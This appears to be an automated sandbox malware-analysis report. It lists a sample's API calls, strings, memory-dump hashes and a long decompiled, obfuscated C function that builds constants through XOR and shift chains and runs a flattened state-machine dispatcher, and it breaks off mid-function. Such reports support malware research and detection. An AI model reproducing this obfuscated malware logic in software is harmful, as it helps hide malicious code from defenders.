fontBold, xrefs: 6E8F965D
%lX, xrefs: 6E8F9927
fontItalic, xrefs: 6E8F9772
true, xrefs: 6E8F96F3, 6E8F9808

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$_com_issue_error$Variant$Alloc$ByteCharClearInitMultiWide$BstrChangeCopyType
String ID: %lX$&$display$fontBold$fontColor$fontFamily$fontItalic$fontSize$true
API String ID: 31926906-3443811302
Opcode ID: de0fbe20cfec81e702315a4a8399f29871d0a262159111804b4386985a07fd36
Instruction ID: 22bba4f323e755eabdc4a9575d9f0140a1bdd3768fb695054ff83c6d053a1842
Opcode Fuzzy Hash: de0fbe20cfec81e702315a4a8399f29871d0a262159111804b4386985a07fd36
Instruction Fuzzy Hash: D362E070A0171ADFEB50CFE4C854B9EB7B8AF55344F104A58E819AB2C0DB75E942CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FE6B0, Relevance: 39.0, APIs: 19, Strings: 3, Instructions: 451stringmemoryCOMMON

Download Yara Rule

APIs

CoTaskMemAlloc.OLE32(6E8FDE78,A836F30C,00000000,00000000), ref: 6E8FE748
CoTaskMemFree.OLE32(00000000,A836F30C,00000000,00000000), ref: 6E8FE774
CharNextW.USER32(?,00000000), ref: 6E8FE7D9
CharNextW.USER32(00000000), ref: 6E8FE7DE
CharNextW.USER32(00000000), ref: 6E8FE7E3
CharNextW.USER32(00000000), ref: 6E8FE7E8
CharNextW.USER32(?), ref: 6E8FE830
CharNextW.USER32 ref: 6E8FE840
CharNextW.USER32(00000000,A836F30C,00000000,00000000), ref: 6E8FE8BA
CharNextW.USER32 ref: 6E8FE8E3
CharNextW.USER32(00000000), ref: 6E8FE917
CoTaskMemFree.OLE32(00000000), ref: 6E8FE92D
lstrcmpiW.KERNEL32(?,?), ref: 6E8FE97C
CharNextW.USER32 ref: 6E8FEA02
CoTaskMemFree.OLE32(00000000), ref: 6E8FEA33
CoTaskMemFree.OLE32(00000000,A836F30C,00000000,00000000), ref: 6E8FEA51
lstrcmpiW.KERNEL32(?,6E935CC0,?,00000000,C000008C,00000000,00000000), ref: 6E8FEB0D
CoTaskMemFree.OLE32(00000000,C000008C,00000000,00000000), ref: 6E8FEB2C
CharNextW.USER32(?,?,00000000,00000000,00000000,?), ref: 6E8FEBF1

Strings

HKCR, xrefs: 6E8FE7C0
HKCU{Software{Classes, xrefs: 6E8FE7F5
}}, xrefs: 6E8FE88C

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Task$Free$lstrcmpi$Alloc
String ID: }}$HKCR$HKCU{Software{Classes
API String ID: 2337762536-1142484189
Opcode ID: 2a901a7ba077bab05a25cb19c0eb94e805d7ff1ad455a89207f6796c50d27373
Instruction ID: 983f4d1f15886fff8801c576265b55b65be713d489de30c56f68f8cc6af1baa6
Opcode Fuzzy Hash: 2a901a7ba077bab05a25cb19c0eb94e805d7ff1ad455a89207f6796c50d27373
Instruction Fuzzy Hash: 45F1F331A14319DFDF119FE8C894B9EBBB5FF467A4F004869E905EB284E7309846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00DA91F7, Relevance: 32.4, Strings: 25, Instructions: 1116
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00DA91F7() {
				signed int _v8;
				char _v32;
				char _v40;
				signed int _v44;
				char _v52;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _v76;
				signed int _v88;
				char _v92;
				char _v100;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				unsigned int _v168;
				signed int _v172;
				unsigned int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				unsigned int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				unsigned int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				unsigned int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				signed int _v448;
				signed int _v452;
				signed int _v456;
				signed int _v460;
				signed int _v464;
				unsigned int _v468;
				signed int _v472;
				unsigned int _v476;
				signed int _v480;
				signed int _v484;
				signed int _v488;
				signed int _v492;
				signed int _v496;
				signed int _v500;
				signed int _v504;
				signed int _v508;
				signed int _v512;
				signed int _v516;
				signed int _v520;
				signed int _v524;
				signed int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t1157;
				signed int _t1161;
				signed int _t1165;
				signed int _t1167;
				signed int _t1197;
				void* _t1204;
				signed int _t1240;
				signed int _t1242;
				signed int _t1243;
				signed int _t1244;
				signed int _t1245;
				signed int _t1246;
				signed int _t1247;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1254;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1259;
				signed int _t1260;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1264;
				signed int _t1278;
				signed int _t1349;
				signed int _t1350;
				signed int _t1353;
				signed int _t1369;
				signed int _t1381;
				void* _t1383;
				void* _t1388;
				void* _t1389;
				void* _t1390;

				_t1383 = (_t1381 & 0xfffffff8) - 0x250;
				_v132 = 0x2e436f;
				_v132 = _v132 | 0xf460f017;
				_v132 = _v132 ^ 0xf46ef27d;
				_v196 = 0x7e1c2e;
				_v196 = _v196 ^ 0x6e4e5938;
				_v196 = _v196 ^ 0x6e304516;
				_v244 = 0x3317d;
				_v244 = _v244 >> 1;
				_v244 = _v244 ^ 0x000198be;
				_v544 = 0x71e6e4;
				_v544 = _v544 ^ 0x19d035bd;
				_v544 = _v544 ^ 0xde3e36e6;
				_v544 = _v544 ^ 0xd4549da3;
				_v544 = _v544 ^ 0x13ca6661;
				_v252 = 0x207f28;
				_v252 = _v252 ^ 0x96f23610;
				_v252 = _v252 ^ 0x96d56cb8;
				_v284 = 0xb4eb71;
				_v284 = _v284 | 0x642f1f72;
				_v284 = _v284 ^ 0x64bf3882;
				_v300 = 0x36db85;
				_v300 = _v300 | 0x0bc6f940;
				_v300 = _v300 + 0x9fae;
				_v300 = _v300 ^ 0x0bfad767;
				_v208 = 0xa45bd2;
				_v208 = _v208 << 8;
				_v208 = _v208 ^ 0xa452a46b;
				_v336 = 0x6cd8ed;
				_v336 = _v336 * 0x36;
				_t1353 = 0xaa07b46;
				_t1349 = 0x36;
				_v336 = _v336 / _t1349;
				_v336 = _v336 ^ 0x006d1188;
				_v524 = 0xd565be;
				_t1242 = 0x7c;
				_v524 = _v524 / _t1242;
				_v524 = _v524 + 0xd960;
				_v524 = _v524 << 5;
				_v524 = _v524 ^ 0x00539a7f;
				_v528 = 0xe16fa2;
				_v528 = _v528 << 3;
				_v528 = _v528 + 0x4317;
				_v528 = _v528 + 0x3040;
				_v528 = _v528 ^ 0x0704c1ec;
				_v372 = 0x8fac1c;
				_v372 = _v372 ^ 0x1e276069;
				_v372 = _v372 * 0x3f;
				_v372 = _v372 ^ 0x8b8c4a83;
				_v272 = 0x48fc0a;
				_v272 = _v272 << 4;
				_v272 = _v272 ^ 0x048c9edd;
				_v516 = 0x93770a;
				_v516 = _v516 >> 9;
				_v516 = _v516 | 0x4252a838;
				_v516 = _v516 + 0x705d;
				_v516 = _v516 ^ 0x4251f9f6;
				_v512 = 0x41b3f;
				_v512 = _v512 >> 7;
				_v512 = _v512 | 0x35af6ec2;
				_v512 = _v512 * 0x53;
				_v512 = _v512 ^ 0x67eb8694;
				_v212 = 0xb915;
				_v212 = _v212 ^ 0x948b0e88;
				_v212 = _v212 ^ 0x9486ad8a;
				_v356 = 0x63bb5f;
				_v356 = _v356 ^ 0x436200ea;
				_t1243 = 0x7e;
				_v356 = _v356 * 0x76;
				_v356 = _v356 ^ 0xe2c785b3;
				_v324 = 0x6c06d7;
				_v324 = _v324 >> 0xa;
				_v324 = _v324 / _t1243;
				_v324 = _v324 ^ 0x000b64e8;
				_v308 = 0xca3f81;
				_v308 = _v308 >> 2;
				_v308 = _v308 >> 0xc;
				_v308 = _v308 ^ 0x00092fdc;
				_v360 = 0xbfd72b;
				_v360 = _v360 ^ 0xff3a0c39;
				_v360 = _v360 << 9;
				_v360 = _v360 ^ 0x0bb3b832;
				_v240 = 0x9d6f80;
				_v240 = _v240 / _t1349;
				_v240 = _v240 ^ 0x000c7437;
				_v588 = 0x113401;
				_t1244 = 0x61;
				_v588 = _v588 * 0x24;
				_v588 = _v588 / _t1244;
				_v588 = _v588 ^ 0x0003e589;
				_v384 = 0x4b8860;
				_v384 = _v384 << 0xf;
				_v384 = _v384 << 1;
				_v384 = _v384 ^ 0x8868048a;
				_v264 = 0x29020a;
				_t1245 = 0x11;
				_v264 = _v264 * 0x21;
				_v264 = _v264 ^ 0x0542f97f;
				_v468 = 0xb6b72b;
				_v468 = _v468 + 0xffff5632;
				_v468 = _v468 >> 0xb;
				_v468 = _v468 + 0x2f7e;
				_v468 = _v468 ^ 0x00028262;
				_v460 = 0x54f239;
				_v460 = _v460 << 6;
				_v460 = _v460 + 0xfffffbb9;
				_v460 = _v460 ^ 0x82d4ff03;
				_v460 = _v460 ^ 0x97e5d5b5;
				_v140 = 0x985261;
				_v140 = _v140 + 0xffff0c59;
				_v140 = _v140 ^ 0x00972a82;
				_v500 = 0x518a2c;
				_v500 = _v500 / _t1245;
				_v500 = _v500 + 0x702a;
				_v500 = _v500 << 0xd;
				_v500 = _v500 ^ 0xa785771e;
				_v368 = 0x521baf;
				_v368 = _v368 * 0x25;
				_v368 = _v368 | 0x64d0e33c;
				_v368 = _v368 ^ 0x6fdd3e6d;
				_v436 = 0x35d7cb;
				_v436 = _v436 * 0x6d;
				_v436 = _v436 | 0xabb542e6;
				_v436 = _v436 + 0xd249;
				_v436 = _v436 ^ 0xbff7fb1b;
				_v292 = 0xcdcade;
				_v292 = _v292 | 0x43b684fa;
				_v292 = _v292 ^ 0x43f66b05;
				_v160 = 0x58e408;
				_v160 = _v160 | 0x368c4477;
				_v160 = _v160 ^ 0x36d34ac8;
				_v304 = 0x7c84d1;
				_t1246 = 0x47;
				_v304 = _v304 / _t1246;
				_v304 = _v304 + 0xffff9796;
				_v304 = _v304 ^ 0x000bb16e;
				_v216 = 0xc36bed;
				_v216 = _v216 + 0xd97;
				_v216 = _v216 ^ 0x00c2e969;
				_v476 = 0xa7b7c7;
				_v476 = _v476 << 6;
				_v476 = _v476 + 0x6c6c;
				_v476 = _v476 >> 5;
				_v476 = _v476 ^ 0x0140bd2d;
				_v520 = 0xf3ea92;
				_v520 = _v520 + 0xffff847d;
				_t1247 = 0x3c;
				_v520 = _v520 * 0x69;
				_v520 = _v520 / _t1247;
				_v520 = _v520 ^ 0x01a2bdb3;
				_v440 = 0x637ee1;
				_v440 = _v440 + 0xffff9b2b;
				_v440 = _v440 ^ 0xed5600a5;
				_v440 = _v440 + 0xbbcd;
				_v440 = _v440 ^ 0xed38855c;
				_v316 = 0xd359ff;
				_t1248 = 0x12;
				_v316 = _v316 / _t1248;
				_t1249 = 0x2c;
				_v316 = _v316 / _t1249;
				_v316 = _v316 ^ 0x000bd707;
				_v404 = 0xe9d10;
				_v404 = _v404 + 0x8531;
				_v404 = _v404 << 7;
				_v404 = _v404 ^ 0x0799698e;
				_v568 = 0x4b0a43;
				_t313 =  &_v568; // 0x4b0a43
				_t1250 = 0x2f;
				_v568 =  *_t313 * 0x38;
				_v568 = _v568 + 0xffffdc5e;
				_v568 = _v568 ^ 0x149a11d4;
				_v568 = _v568 ^ 0x04f7f7c0;
				_v268 = 0xc0e06b;
				_v268 = _v268 / _t1250;
				_v268 = _v268 ^ 0x000b86b0;
				_v496 = 0xf422ea;
				_v496 = _v496 + 0xfffff2eb;
				_v496 = _v496 >> 7;
				_v496 = _v496 + 0xa1f8;
				_v496 = _v496 ^ 0x0008b42f;
				_v188 = 0x553f6c;
				_v188 = _v188 | 0x678376e9;
				_v188 = _v188 ^ 0x67d882bd;
				_v396 = 0x923886;
				_t1251 = 5;
				_v396 = _v396 / _t1251;
				_v396 = _v396 + 0x9c46;
				_v396 = _v396 ^ 0x00120a3e;
				_v560 = 0x9fec96;
				_v560 = _v560 | 0x622a8444;
				_v560 = _v560 ^ 0x99c5ba67;
				_v560 = _v560 >> 0xd;
				_v560 = _v560 ^ 0x0000fc9d;
				_v128 = 0xf88125;
				_v128 = _v128 << 0x10;
				_v128 = _v128 ^ 0x812bf008;
				_v552 = 0xcb4f6a;
				_v552 = _v552 / _t1349;
				_v552 = _v552 + 0xffff6d2e;
				_v552 = _v552 | 0x89619965;
				_v552 = _v552 ^ 0x8962c3cc;
				_v432 = 0xf978ba;
				_v432 = _v432 + 0xffffa816;
				_v432 = _v432 ^ 0x2094ddcc;
				_v432 = _v432 >> 0xa;
				_v432 = _v432 ^ 0x0007c0c7;
				_v488 = 0xcf9f95;
				_v488 = _v488 ^ 0xbf36e5e7;
				_t1252 = 0x58;
				_v488 = _v488 * 0x2a;
				_v488 = _v488 + 0xffff2176;
				_v488 = _v488 ^ 0x7ee684ba;
				_v388 = 0x12fb7d;
				_v388 = _v388 * 0x4d;
				_v388 = _v388 >> 3;
				_v388 = _v388 ^ 0x00bf9b98;
				_v340 = 0x796913;
				_v340 = _v340 + 0xac69;
				_v340 = _v340 * 0x61;
				_v340 = _v340 ^ 0x2e401a56;
				_v328 = 0x91b64e;
				_v328 = _v328 / _t1252;
				_v328 = _v328 ^ 0x35ed1920;
				_v328 = _v328 ^ 0x35e14498;
				_v320 = 0xcfff90;
				_v320 = _v320 + 0x6092;
				_v320 = _v320 + 0xffff7281;
				_v320 = _v320 ^ 0x00c5b6f7;
				_v452 = 0xef9f32;
				_v452 = _v452 | 0xbd38e664;
				_v452 = _v452 + 0xf2b8;
				_v452 = _v452 | 0x10bd091b;
				_v452 = _v452 ^ 0xbeb9595a;
				_v192 = 0x21f349;
				_t1253 = 0x54;
				_v192 = _v192 / _t1253;
				_v192 = _v192 ^ 0x000688f1;
				_v200 = 0xc0b775;
				_v200 = _v200 << 0xb;
				_v200 = _v200 ^ 0x05bf80fb;
				_v376 = 0x690522;
				_v376 = _v376 + 0xffffeeed;
				_v376 = _v376 ^ 0x86395638;
				_v376 = _v376 ^ 0x865332bb;
				_v248 = 0x6656fd;
				_v248 = _v248 | 0x17cebcd9;
				_v248 = _v248 ^ 0x17e231ad;
				_v256 = 0x5a882f;
				_v256 = _v256 + 0xffff43e8;
				_v256 = _v256 ^ 0x005beeea;
				_v176 = 0x5696cd;
				_v176 = _v176 >> 0xb;
				_v176 = _v176 ^ 0x000c4c16;
				_v456 = 0xda330b;
				_v456 = _v456 + 0xffff846d;
				_v456 = _v456 + 0x61bd;
				_v456 = _v456 | 0x00ba29dc;
				_v456 = _v456 ^ 0x00ff632b;
				_v380 = 0xd1e147;
				_v380 = _v380 >> 6;
				_v380 = _v380 << 0xd;
				_v380 = _v380 ^ 0x68f0e02b;
				_v180 = 0x3ff1d9;
				_t1254 = 0x33;
				_v180 = _v180 / _t1254;
				_v180 = _v180 ^ 0x00023228;
				_v344 = 0xf4edb4;
				_v344 = _v344 << 0xd;
				_v344 = _v344 | 0x97e14590;
				_v344 = _v344 ^ 0x9ff7325a;
				_v484 = 0x6c4a81;
				_v484 = _v484 | 0xfdca8d1b;
				_v484 = _v484 >> 0x10;
				_v484 = _v484 << 0xf;
				_v484 = _v484 ^ 0x7effa9ca;
				_v596 = 0xdabff7;
				_v596 = _v596 + 0x73c4;
				_v596 = _v596 << 7;
				_v596 = _v596 | 0xfa5794d9;
				_v596 = _v596 ^ 0xffd249eb;
				_v424 = 0x540103;
				_v424 = _v424 ^ 0xa382819c;
				_v424 = _v424 | 0xb091fb68;
				_v424 = _v424 ^ 0xb3d56d76;
				_v156 = 0x8c7fe9;
				_v156 = _v156 + 0xffff3974;
				_v156 = _v156 ^ 0x008ef74c;
				_v420 = 0xfd2cd1;
				_v420 = _v420 >> 0xc;
				_v420 = _v420 ^ 0xe3610dc2;
				_v420 = _v420 ^ 0xe3634cc2;
				_v504 = 0xf0e4f4;
				_v504 = _v504 + 0xb6ec;
				_v504 = _v504 ^ 0x32429e81;
				_v504 = _v504 + 0xadf2;
				_v504 = _v504 ^ 0x32bc4899;
				_v276 = 0x5de68b;
				_v276 = _v276 + 0x1902;
				_v276 = _v276 ^ 0x005cfb2b;
				_v464 = 0x5cdad0;
				_v464 = _v464 << 2;
				_v464 = _v464 + 0x27c3;
				_v464 = _v464 ^ 0xfe85190a;
				_v464 = _v464 ^ 0xfff0056f;
				_v576 = 0x5bf2e0;
				_v576 = _v576 << 9;
				_v576 = _v576 + 0x6474;
				_v576 = _v576 << 6;
				_v576 = _v576 ^ 0xf98a1109;
				_v260 = 0xe6f5fe;
				_t1255 = 0x45;
				_v260 = _v260 / _t1255;
				_v260 = _v260 ^ 0x0003b47a;
				_v416 = 0x364d66;
				_v416 = _v416 << 9;
				_v416 = _v416 ^ 0x871fcbcc;
				_v416 = _v416 ^ 0xeb871ae9;
				_v152 = 0xded983;
				_v152 = _v152 + 0x4b0f;
				_v152 = _v152 ^ 0x00df80d2;
				_v448 = 0xc5cd59;
				_v448 = _v448 + 0xffff44a9;
				_v448 = _v448 | 0xe64c83cc;
				_t1256 = 0x74;
				_v448 = _v448 / _t1256;
				_v448 = _v448 ^ 0x01f904de;
				_v592 = 0x675892;
				_v592 = _v592 | 0xbe4f77c4;
				_v592 = _v592 + 0xffffac99;
				_v592 = _v592 ^ 0xb6dae313;
				_v592 = _v592 ^ 0x08b8aa9c;
				_v288 = 0xc30099;
				_v288 = _v288 >> 0x10;
				_v288 = _v288 + 0xe193;
				_v288 = _v288 ^ 0x000c0ea3;
				_v136 = 0xcb6e43;
				_v136 = _v136 ^ 0xb95a6532;
				_v136 = _v136 ^ 0xb99574cc;
				_v204 = 0xfd67d3;
				_v204 = _v204 + 0xbcdb;
				_v204 = _v204 ^ 0x00f4c5c9;
				_v564 = 0x58b287;
				_t1257 = 0x19;
				_v564 = _v564 * 0x70;
				_v564 = _v564 + 0x3be8;
				_v564 = _v564 * 0x25;
				_v564 = _v564 ^ 0x9bd3e329;
				_v148 = 0x1d248b;
				_v148 = _v148 + 0x6f6a;
				_v148 = _v148 ^ 0x00153086;
				_v572 = 0xf52f4c;
				_v572 = _v572 / _t1257;
				_v572 = _v572 + 0xab35;
				_t1258 = 0xc;
				_v572 = _v572 / _t1258;
				_v572 = _v572 ^ 0x00067d12;
				_v580 = 0xf5bae7;
				_v580 = _v580 | 0x5cf7bfbf;
				_v580 = _v580 * 0x7e;
				_v580 = _v580 ^ 0xc1ff09fa;
				_v408 = 0x6a02f0;
				_v408 = _v408 + 0xffff43b7;
				_v408 = _v408 >> 7;
				_v408 = _v408 ^ 0x000eaeb8;
				_v532 = 0xe5ed81;
				_v532 = _v532 >> 0x10;
				_v532 = _v532 >> 8;
				_v532 = _v532 ^ 0x299daec3;
				_v532 = _v532 ^ 0x299c8334;
				_v540 = 0x73bd6d;
				_v540 = _v540 + 0x3999;
				_v540 = _v540 ^ 0x4d3fe297;
				_v540 = _v540 + 0xbeb4;
				_v540 = _v540 ^ 0x4d4b6113;
				_v280 = 0xf78be9;
				_v280 = _v280 + 0xffff2e4a;
				_v280 = _v280 ^ 0x00f6eff7;
				_v168 = 0x4a6296;
				_v168 = _v168 >> 8;
				_v168 = _v168 ^ 0x0006c563;
				_v444 = 0x52befb;
				_v444 = _v444 | 0xfb460347;
				_v444 = _v444 * 0x57;
				_v444 = _v444 << 8;
				_v444 = _v444 ^ 0x7b329ced;
				_v364 = 0x8bf6d0;
				_t1259 = 0x49;
				_v364 = _v364 / _t1259;
				_v364 = _v364 | 0xd55b2da9;
				_v364 = _v364 ^ 0xd551e475;
				_v472 = 0x18acd0;
				_v472 = _v472 + 0xffff7fc7;
				_v472 = _v472 + 0xffff0e44;
				_v472 = _v472 + 0xffff0bff;
				_v472 = _v472 ^ 0x001d017a;
				_v144 = 0x4fd139;
				_v144 = _v144 ^ 0x0d7608f8;
				_v144 = _v144 ^ 0x0d3e01c7;
				_v220 = 0xa1d89d;
				_v220 = _v220 + 0x68ba;
				_v220 = _v220 ^ 0x00a8b60a;
				_v224 = 0xd8ad63;
				_t1260 = 0x39;
				_v224 = _v224 * 0xd;
				_v224 = _v224 ^ 0x0b05e067;
				_v232 = 0x1dd59e;
				_v232 = _v232 + 0xffffb984;
				_v232 = _v232 ^ 0x0014d7c8;
				_v492 = 0x8ee343;
				_v492 = _v492 + 0xfffffdd7;
				_v492 = _v492 * 0x50;
				_v492 = _v492 + 0xffff20fb;
				_v492 = _v492 ^ 0x2ca84503;
				_v352 = 0xb8f26f;
				_v352 = _v352 + 0x7ba8;
				_v352 = _v352 >> 6;
				_v352 = _v352 ^ 0x000b39f4;
				_v536 = 0x43cba6;
				_v536 = _v536 + 0xffff968b;
				_v536 = _v536 + 0xd20d;
				_v536 = _v536 << 1;
				_v536 = _v536 ^ 0x00836c5a;
				_v480 = 0x5e5d26;
				_v480 = _v480 + 0xffff687f;
				_v480 = _v480 ^ 0xddceb38b;
				_v480 = _v480 | 0x4dfd19e7;
				_v480 = _v480 ^ 0xddf7d232;
				_v236 = 0x7bb6bb;
				_v236 = _v236 << 0xa;
				_v236 = _v236 ^ 0xeeda4ae1;
				_v332 = 0xdbd532;
				_v332 = _v332 / _t1260;
				_v332 = _v332 + 0x6f41;
				_v332 = _v332 ^ 0x000f8c93;
				_v172 = 0x169d2;
				_v172 = _v172 << 1;
				_v172 = _v172 ^ 0x000bb064;
				_v228 = 0xc8a619;
				_t1261 = 0x51;
				_v228 = _v228 / _t1261;
				_v228 = _v228 ^ 0x000b224e;
				_v296 = 0xf4bcd8;
				_v296 = _v296 + 0xffffb281;
				_v296 = _v296 + 0xffff612f;
				_v296 = _v296 ^ 0x00ff5067;
				_v428 = 0x3c482c;
				_t832 =  &_v428; // 0x3c482c
				_v428 =  *_t832 * 0x2f;
				_v428 = _v428 + 0xffff6f9d;
				_v428 = _v428 | 0x8da675c7;
				_v428 = _v428 ^ 0x8fb5367e;
				_v164 = 0x73eaaf;
				_t1262 = 0x7b;
				_v164 = _v164 / _t1262;
				_v164 = _v164 ^ 0x013494eb;
				_v508 = 0xaea7a7;
				_v508 = _v508 + 0xffffad05;
				_v508 = _v508 | 0x2fb01782;
				_v508 = _v508 + 0xdf59;
				_v508 = _v508 ^ 0x2fbf1017;
				_v348 = 0x6a0001;
				_v348 = _v348 >> 8;
				_t1263 = 0x1e;
				_t1350 = _v292;
				_t1240 = _v292;
				_v348 = _v348 * 0x56;
				_v348 = _v348 ^ 0x00239c01;
				_v312 = 0x718fb1;
				_v312 = _v312 ^ 0x0a0922bb;
				_v312 = _v312 + 0xffff9da2;
				_v312 = _v312 ^ 0x0a78450c;
				_v184 = 0xbc43da;
				_v184 = _v184 | 0x65dbfe97;
				_v184 = _v184 ^ 0x65ffe09f;
				_v584 = 0x19ebc;
				_v584 = _v584 << 0xd;
				_v584 = _v584 * 0x6e;
				_v584 = _v584 | 0x20e1f71e;
				_v584 = _v584 ^ 0x66f44cbe;
				_v556 = 0x102963;
				_v556 = _v556 << 1;
				_v556 = _v556 + 0xffff27ea;
				_v556 = _v556 >> 8;
				_v556 = _v556 ^ 0x000da4da;
				_v412 = 0x8d39f9;
				_v412 = _v412 ^ 0x304d710d;
				_v412 = _v412 + 0x1676;
				_v412 = _v412 ^ 0x30ceab4a;
				_v548 = 0xb36dd5;
				_v548 = _v548 << 1;
				_v548 = _v548 + 0xffff009c;
				_v548 = _v548 ^ 0xc2df1814;
				_v548 = _v548 ^ 0xc3b43072;
				_v400 = 0x83e780;
				_v400 = _v400 / _t1263;
				_v400 = _v400 + 0xffff5fe0;
				_v400 = _v400 ^ 0x0003b045;
				_v392 = 0xcc2700;
				_v392 = _v392 + 0x6318;
				_t1264 = 0x50;
				_v392 = _v392 / _t1264;
				_v392 = _v392 ^ 0x000264e6;
				goto L1;
				do {
					while(1) {
						L1:
						_t1388 = _t1353 - 0x9625c26;
						if(_t1388 > 0) {
							break;
						}
						if(_t1388 == 0) {
							_t1161 = E00DA645F( &_v92, _v596, _v424, _v156, _v420,  &_v108);
							_t1383 = _t1383 + 0x10;
							asm("sbb esi, esi");
							_t1353 = ( ~_t1161 & 0xf38ca8a6) + 0xf16eb84;
							continue;
						}
						_t1389 = _t1353 - 0x5085634;
						if(_t1389 > 0) {
							__eflags = _t1353 - 0x743bbd3;
							if(__eflags > 0) {
								__eflags = _t1353 - 0x7d9812c;
								if(_t1353 == 0x7d9812c) {
									__eflags = E00DAE7DA();
									if(__eflags == 0) {
										_t1165 = E00DA902C();
										asm("sbb esi, esi");
										_t1353 = ( ~_t1165 & 0xfa09740f) + 0xc68510e;
										continue;
									}
									_t1167 = E00DA902C();
									asm("sbb esi, esi");
									_t1369 =  ~_t1167 & 0xfa79cff4;
									L53:
									_t1353 = _t1369 + 0xd96f0c7;
									continue;
								}
								__eflags = _t1353 - 0x810c0bb;
								if(_t1353 == 0x810c0bb) {
									_t1167 = E00D91DF9();
									asm("sbb esi, esi");
									_t1369 =  ~_t1167 & 0xf771656d;
									__eflags = _t1369;
									goto L53;
								}
								__eflags = _t1353 - 0x8d7d650;
								if(_t1353 == 0x8d7d650) {
									_t1167 = E00DAC772();
									L114:
									return _t1167;
								}
								__eflags = _t1353 - 0x94a2b75;
								if(_t1353 != 0x94a2b75) {
									goto L109;
								}
								_t1278 = _v364;
								_t1167 = E00D9F699(_t1278, _v100, _v472, _v144, _v220);
								_t1383 = _t1383 + 0xc;
								_t1353 = 0xf16eb84;
								continue;
							}
							if(__eflags == 0) {
								_t1167 = _v164;
								_t1353 = 0xc313b49;
								_v76 = _t1167;
								continue;
							}
							__eflags = _t1353 - 0x50ec05a;
							if(_t1353 == 0x50ec05a) {
								_t1167 = E00D92176();
								_t1353 = 0x24c641b;
								continue;
							}
							__eflags = _t1353 - 0x5c746ce;
							if(_t1353 == 0x5c746ce) {
								_t1167 = E00DA2DE9(_t1278);
								goto L114;
							}
							__eflags = _t1353 - 0x671c51d;
							if(_t1353 == 0x671c51d) {
								_t1167 = E00DB2D4F();
								_t1353 = 0xc68510e;
								continue;
							}
							__eflags = _t1353 - 0x6e9da8a;
							if(_t1353 != 0x6e9da8a) {
								goto L109;
							}
							_t1167 = E00DA56A9();
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0xbae568e;
							continue;
						}
						if(_t1389 == 0) {
							_t1167 = E00D9B12E(_v436, _v292, _v160, _v304);
							goto L114;
						}
						_t1390 = _t1353 - 0x411ce06;
						if(_t1390 > 0) {
							__eflags = _t1353 - 0x414ffd1;
							if(_t1353 == 0x414ffd1) {
								__eflags = _t1350 - _v244;
								if(_t1350 == _v244) {
									L35:
									_t1353 = _t1240;
									goto L109;
								}
								_t1167 = E00DB37B6(_v480, _v236, _v332, _v172, E00DAD4AE(), _t1350);
								_t1383 = _t1383 + 0x10;
								__eflags = _t1167 - _v132;
								if(__eflags == 0) {
									_t1167 = L00DA6B91(_t1240, _t1350, _t1353, 0xe75263b);
									goto L35;
								}
								_t1353 = 0x5c746ce;
								continue;
							}
							__eflags = _t1353 - 0x4c34997;
							if(_t1353 == 0x4c34997) {
								_t1167 = E00D9635F();
								_v72 = _t1167;
								_t1353 = 0x411ce06;
								continue;
							}
							__eflags = _t1353 - 0x4c43855;
							if(_t1353 == 0x4c43855) {
								_t1167 = E00DA3ABE();
								_t1353 = 0xbc300ba;
								continue;
							}
